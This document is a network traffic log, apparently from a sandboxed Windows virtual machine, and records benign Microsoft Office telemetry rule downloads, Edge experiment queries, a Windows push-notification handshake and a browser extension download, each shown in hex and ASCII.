Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:34 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:34 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 6760f0bc-801e-002a-1f91-3f31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004134Z-174f7845968px8v7hC1EWR08ng0000000uug000000006gs0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:35 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:34 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:34 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e52ede4a-001e-0017-0591-3f0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004134Z-174f7845968kvnqxhC1EWRmf3g0000000dg0000000006e8e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:35 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:34 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: be7987d0-001e-0034-1e91-3fdd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004134Z-174f7845968kdththC1EWRzvxn00000006y0000000005qx2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:34 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:34 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8dfbf447-101e-0028-0f8e-3f8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004134Z-174f7845968n2hr8hC1EWR9cag0000000u8g000000006hbz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:35 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49807	94.245.104.56	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:35 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 00:41:35 UTC	725	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Tue, 26 Nov 2024 00:41:35 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=9d90d64458d90255b6b35bbdd301682cde81e2f30fd042245a59b55dae0fc551;Path=/;HttpOnly;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinity=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49809	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:36 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 71 36 43 32 55 68 53 64 41 30 36 4e 6f 51 46 36 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 34 32 61 63 62 38 38 34 32 32 31 33 64 31 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: q6C2UhSdA06NoQF6.1Context: c42acb8842213d16
2024-11-26 00:41:36 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-26 00:41:36 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 71 36 43 32 55 68 53 64 41 30 36 4e 6f 51 46 36 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 34 32 61 63 62 38 38 34 32 32 31 33 64 31 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 42 67 6e 77 68 42 53 43 51 68 78 6a 47 73 41 6c 62 45 5a 45 35 57 43 5a 65 76 33 36 32 37 7a 70 76 79 64 4c 2b 65 36 44 57 34 46 36 4b 48 33 66 4c 77 32 48 41 48 63 58 37 31 53 6b 68 39 63 67 61 6c 74 37 54 30 5a 78 4b 66 34 36 4a 76 67 57 54 49 72 68 41 77 74 76 71 39 4a 6e 35 69 37 4e 75 42 4e 56 69 4c 4a 41 75 46 56 75 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: q6C2UhSdA06NoQF6.2Context: c42acb8842213d16<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbBgnwhBSCQhxjGsAlbEZE5WCZev3627zpvydL+e6DW4F6KH3fLw2HAHcX71Skh9cgalt7T0ZxKf46JvgWTIrhAwtvq9Jn5i7NuBNViLJAuFVu
2024-11-26 00:41:36 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 71 36 43 32 55 68 53 64 41 30 36 4e 6f 51 46 36 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 34 32 61 63 62 38 38 34 32 32 31 33 64 31 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: q6C2UhSdA06NoQF6.3Context: c42acb8842213d16<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-26 00:41:36 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-26 00:41:36 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 42 61 75 48 63 6d 61 36 52 30 6d 54 6d 31 54 4d 49 58 57 30 6f 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: BauHcma6R0mTm1TMIXW0oQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:36 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:37 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: cb9203b6-501e-0029-2691-3fd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004137Z-174f7845968j6t2phC1EWRcfe80000000us0000000006nx3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:37 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:37 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:37 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: fac49ef3-501e-008f-0a91-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004137Z-174f7845968swgbqhC1EWRmnb40000000ur00000000066sc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:37 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:37 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:37 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:37 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004137Z-174f7845968cdxdrhC1EWRg0en0000000upg000000006gsg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:37 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:37 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:37 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:37 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004137Z-174f7845968swgbqhC1EWRmnb40000000uxg000000003gm8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:37 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49825	172.217.19.225	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:38 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 00:41:38 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC5PORTvvCZnmg8ylymoVoIJR9ylyfodIevcpGIOY4YlNiBXS_Kucpitjhh8E-j3chUYGCc X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Mon, 25 Nov 2024 16:45:00 GMT Expires: Tue, 25 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 28598 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
